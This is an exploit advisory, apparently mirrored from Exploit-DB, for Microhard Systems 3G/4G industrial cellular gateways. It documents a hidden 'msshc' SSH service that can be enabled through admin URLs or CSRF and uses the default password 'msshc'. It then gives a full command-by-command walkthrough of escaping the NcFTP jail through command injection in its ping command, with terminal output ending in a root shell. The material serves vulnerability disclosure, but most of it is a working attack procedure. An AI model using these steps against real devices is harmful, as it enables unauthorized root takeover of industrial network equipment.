Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway – Restricted Shell Escape

  • 作者: LiquidWorm
    日期: 2018-07-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45041/
  • Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak
    
    
    Vendor: Microhard Systems Inc.
    Product web page: http://www.microhardcorp.com
    Affected version: IPn4G 1.1.0 build 1098
    IPn3Gb 2.2.0 build 2160
    IPn4Gb 1.1.6 build 1184-14
    IPn4Gb 1.1.0 Rev 2 build 1090-2
    IPn4Gb 1.1.0 Rev 2 build 1086
    Bullet-3G 1.2.0 Rev A build 1032
    VIP4Gb 1.1.6 build 1204
    VIP4G 1.1.6 Rev 3.0 build 1184-14
    VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
    IPn3Gii / Bullet-3G 1.2.0 build 1076
    IPn4Gii / Bullet-LTE 1.2.0 build 1078
    BulletPlus 1.3.0 build 1036
    Dragon-LTE 1.1.0 build 1036
    
    Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
    using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
    features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
    Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
    RS232/485/422 devices!
    
    The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
    the widespread deployment of cellular network infrastructure for critical data collection.
    From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
    The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
    provides robust and secure wireless communication of Serial, USB and Ethernet data.
    
    The all new Bullet-3G provides a compact, robust, feature packed industrial strength
    wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
    to the next level by providing features such as Ethernet with PoE, RS232 Serial port
    and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
    Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
    worth looking at!
    
    The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
    wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
    cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
    system integration and design flexibility with dual Ethernet Ports and high power
    802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
    Control Lists, the Dragon-LTE provides a solution for any cellular application!
    
    The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
    network infrastructure for critical data communications. The VIP4Gb provides simultaneous
    network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
    I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
    any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
    It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
    
    Desc: The web shell application includes a service called Microhard Sh that is documented
    only as 'reserved for internal use'. This service can be enabled by an authenticated
    user within the Services menu in the web admin panel. This can also be enabled via CSRF
    attack. When the service is enabled, a user 'msshc' is created on the system with password
    'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP
    jailed environment, that has limited commands for file transfer administration. One of the
    commands is a custom added 'ping' command that has a command injection vulnerability that
    allows the attacker to escape the restricted environment and enter into a root shell terminal
    that can execute commands as the root user. 
    
    Tested on: httpd-ssl-1.0.0
     Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2018-5486
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5486.php
    
    
    13.03.2018
    
    --
    
    
    1) Enable Microhard Sh service:
    -------------------------------
    
    http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service
    http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start)
    
    
    2) Check what happens when enabling Microhard Sh service:
    ---------------------------------------------------------
    
    # cat /etc/init.d/msshc
    #!/bin/sh /etc/rc.common
    # Copyright (C) 2013 Microhardcorp
    
    start() {
    deluser msshc
    rm -rf /tmp/msshc
    mkdir -p /tmp/msshc
    msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh")
    [ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells
    passwd=$(/sbin/uci get msshc.general.passwd)
    echo "$passwd" >> /etc/passwd
    }
    
    stop() {
    deluser msshc
    rm -rf /tmp/msshc
    }
    
    
    3) Check the /etc/msshc.sh script:
    ----------------------------------
    
    # cat /etc/msshc.sh
    #!/bin/sh 
    # Copyright (C) 2013 Microhardcorp
    
    /usr/bin/ncftp
    
    exit 0
    
    
    4) Check the /sbin/uci binary:
    ------------------------------
    
    Usage: /sbin/uci [<options>] <command> [<arguments>]
    
    Commands:
    batch
    export [<config>]
    import [<config>]
    changes[<config>]
    commit [<config>]
    add<config> <section-type>
    add_list <config>.<section>.<option>=<string>
    show [<config>[.<section>[.<option>]]]
    get<config>.<section>[.<option>]
    set<config>.<section>[.<option>]=<value>
    delete <config>[.<section[.<option>]]
    rename <config>.<section>[.<option>]=<name>
    revert <config>[.<section>[.<option>]]
    
    Options:
    -c <path>set the search path for config files (default: /etc/config)
    -d <str> set the delimiter for list values in uci show
    -f <file>use <file> as input instead of stdin
    -L do not load any plugins
    -m when importing, merge data into an existing package
    -n name unnamed sections on export (default)
    -N don't name unnamed sections
    -p <path>add a search path for config change files
    -P <path>add a search path for config change files and use as default
    -q quiet mode (don't print error messages)
    -s force strict mode (stop on parser errors, default)
    -S disable strict mode
    -X do not use extended syntax on 'show'
    
    # /sbin/uci get msshc.general.passwd
    msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh
    
    
    5) Check the NcFTP binary:
    --------------------------
    
    # /usr/bin/ncftp -h
    
    Usage:ncftp [flags] [<host> | <directory URL to browse>]
    
    Flags:
    -u XXUse username XX instead of anonymous.
    -p XXUse password XX with the username.
    -P XXUse port number XX instead of the default FTP service port (21).
    -j XXUse account XX with the username (rarely needed).
    -F Dump a sample $HOME/.ncftp/firewall prefs file to stdout and exit.
    
    Program version:NcFTP 3.2.5/474 Feb 02 2011, 05:13 PM
    Library version:LibNcFTP 3.2.5 (January 17, 2011)
    Build system: Linux DProBuilder 2.6.34.9-69.fc13.i686.PAE #1 SMP Tue Ma...
    
    This is a freeware program by Mike Gleason (http://www.NcFTP.com).
    A directory URL ends in a slash, i.e. ftp://ftp.freebsd.org/pub/FreeBSD/
    Use ncftpget and ncftpput for command-line FTP and file URLs.
    
    
    6) Go to jail:
    --------------
    
    lqwrm@metalgear:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 msshc@192.168.1.1
    The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
    RSA key fingerprint is SHA256:x9GG/Dlkg88058ilA2xyhYqllYRgZOTPu6reGS8K1Yg.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.
    msshc@192.168.1.1's password: 
    NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
    
    Copyright (c) 1992-2011 by Mike Gleason.
    All rights reserved.
    
    ncftp> ?
    Commands may be abbreviated.'help showall' shows hidden and unsupported 
    commands.'help <command>' gives a brief description of <command>.
    
    asciiclosehelp mkdirputrename setumask
    binary debugllsopen pwdrhelpshow 
    cd dirlrmpassivequit rm site 
    chmodgetls ping quotermdirtype 
    
    For details, please see the manual ("man ncftp" at your regular shell prompt
    or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
    ncftp> help showall
    Commands may be abbreviated.'help showall' shows hidden and unsupported
    commands.'help <command>' gives a brief description of <command>.
    
    ?chmodexit ls mv pwdrhelpsite
    asciiclosegetmget open quit rm type
    binary debughelp mkdirpassivequotermdirumask
    byedelete llsmlsping rename set
    cd dirlrmmput putrglobshow
    
    For details, please see the manual ("man ncftp" at your regular shell prompt
    or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
    ncftp> ls
    ls: must be connected to do that.
    ncftp> man ncftp
    man: no such command.
    ncftp> pwd
    pwd: must be connected to do that.
    ncftp> show
    anon-passwordNcFTP@
    auto-ascii |.txt|.asc|.html|.htm|.css|.xml|.ini|.pl|.hqx|.cfg|.c|.h|.cpp|.hpp|.bat|.m3u|.pls|
    auto-resumeno
    autosave-bookmark-changesno
    confirm-closeno
    connect-timeout20
    control-timeout135
    logsize10240
    pagermore
    passiveoptional
    progress-meter 2 (statbar)
    redial-delay 20
    save-passwords ask
    show-status-in-xterm-titlebarno
    so-bufsize 0 (use system default)
    xfer-timeout 3600
    yes-i-know-about-NcFTPdno
    ncftp>
    
    
    7) The Shawshank Redemption:
    ---------------------------- 
    
    ncftp> ping -c1 -4 0.0.0.0 `id` 
    BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) multi-call binary
    
    Usage: ping [OPTIONS] HOST
    
    Send ICMP ECHO_REQUEST packets to network hosts
    
    Options:
    -4, -6Force IPv4 or IPv6 hostname resolution
    -c CNTSend only CNT pings
    -s SIZESend SIZE data bytes in packets (default:56)
    -I IFACE/IPUse interface or IP address as source
    -W SECSeconds to wait for the first response (default:10)
    (after all -c CNT packets are sent)
    -w SECSeconds until ping exits (default:infinite)
    (can exit earlier with -c CNT)
    -qQuiet, only displays output at start
    and when finished
    
    ncftp>
    
    
    8) Come on Andy:
    ----------------
    
    ncftp> ping -c1 -4 0.0.0.0 && /bin/sh
    PING 0.0.0.0 (0.0.0.0): 56 data bytes
    64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.423 ms
    
    --- 0.0.0.0 ping statistics ---
    1 packets transmitted, 1 packets received, 0% packet loss
    round-trip min/avg/max = 0.423/0.423/0.423 ms
    
    
    BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) built-in shell (ash)
    Enter 'help' for a list of built-in commands.
    
    /tmp/msshc # id ; uname -r
    uid=0(root) gid=0(root)
    2.6.32.9
    /tmp/msshc #